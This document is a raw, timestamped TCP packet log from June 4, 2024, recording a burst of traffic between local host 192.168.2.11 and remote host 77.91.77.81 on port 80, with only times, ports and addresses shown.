Jun 4, 2024 23:09:16.230403900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230468988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230564117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230585098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230596066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230602026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230607033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230619907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230632067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230633974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230643988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230655909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230657101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230688095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230690002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230703115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230715990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230727911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230727911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230741978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230751038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230755091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230781078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230787039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230834007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230853081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230870962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230881929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230894089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230895042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230907917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230916977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230920076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230926037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230931997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230943918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230952978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230956078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230967999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230979919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230983019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230992079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231004000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231005907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231018066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231023073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231041908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231046915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231055975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231060028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231069088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231077909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231081009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231095076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231100082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231106997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231117010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231120110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231134892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231137991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231149912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231151104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231170893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231178999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231184006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231194973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231203079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231205940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231219053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231225014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231230974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231244087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231252909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231256008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231267929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231270075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231281996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231292963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231317997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231323004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231334925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231345892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231357098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231365919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231369019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231381893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231389046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231395006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231410027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231412888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231412888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231426954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231431961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231450081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231457949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231461048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231479883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231479883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231489897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231492043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231503010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231514931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231522083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231525898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231535912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231539011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231551886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231563091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231564045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231575966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231590986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231594086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231606007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231615067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231618881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231626987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231631994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231640100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231650114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231651068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231664896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231677055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231677055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231688976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231699944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231699944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231712103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231718063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231724977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231734037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231736898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231755018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231759071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231769085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231779099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231781006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231800079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231807947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231811047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231823921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231832981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231834888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231848955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231848955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231873035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231877089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231889009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.231899977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231925011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.231988907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232000113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232009888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232023001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232031107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232034922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232047081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232048988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232062101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232070923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232104063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232109070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232175112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232187033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232198954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232212067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232217073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232227087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232239008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232256889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232264996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232276917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232285023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232290983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232302904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232305050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232326984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232333899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232352018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232353926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232369900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232383013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232383013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232397079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232405901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232409000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232439041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232455969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232583046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232595921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232606888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232624054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232625008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232639074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232644081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232667923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232678890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232681036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232691050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232702971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232723951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.232737064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.232763052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.233004093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.233031034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.233073950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.233077049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.233215094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.233254910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.234257936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234308004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.234428883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234441042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234472990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234483957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.234484911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234498024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234504938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.234510899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.234527111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.234551907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.235078096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235336065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235347986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235379934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.235398054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.235441923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235476017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235487938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235500097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235512018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.235541105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.235580921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235939026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.235977888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236013889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236026049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236047029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236078978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236175060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236193895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236233950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236241102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236253023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236270905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236291885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236310959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236341953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236354113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236365080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236376047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236392021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236411095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236525059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236536026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236546993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236560106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236568928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236571074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236583948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236597061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236597061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236608982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236609936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236622095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236634970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236640930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236654043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236661911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236668110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236676931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236686945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236699104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236711979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236713886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236723900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236732960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236737013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236749887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236752987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236762047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236773014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236773014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236784935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236793995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236825943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236856937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236870050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236905098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.236960888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236977100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.236989975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237000942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237013102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237018108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237032890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237054110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237055063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237066984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237102032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237109900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237121105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237145901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237159014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237159967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237170935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237194061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237225056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237243891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237255096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237265110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237277031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237289906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237298012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237303019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237323999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237341881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237354040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237368107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237374067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237379074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237396002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237416029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237535000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237551928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237564087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237576008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237584114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237587929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237598896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237612009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237616062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237623930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237629890 CEST	49713	80	192.168.2.11	77.91.77.81
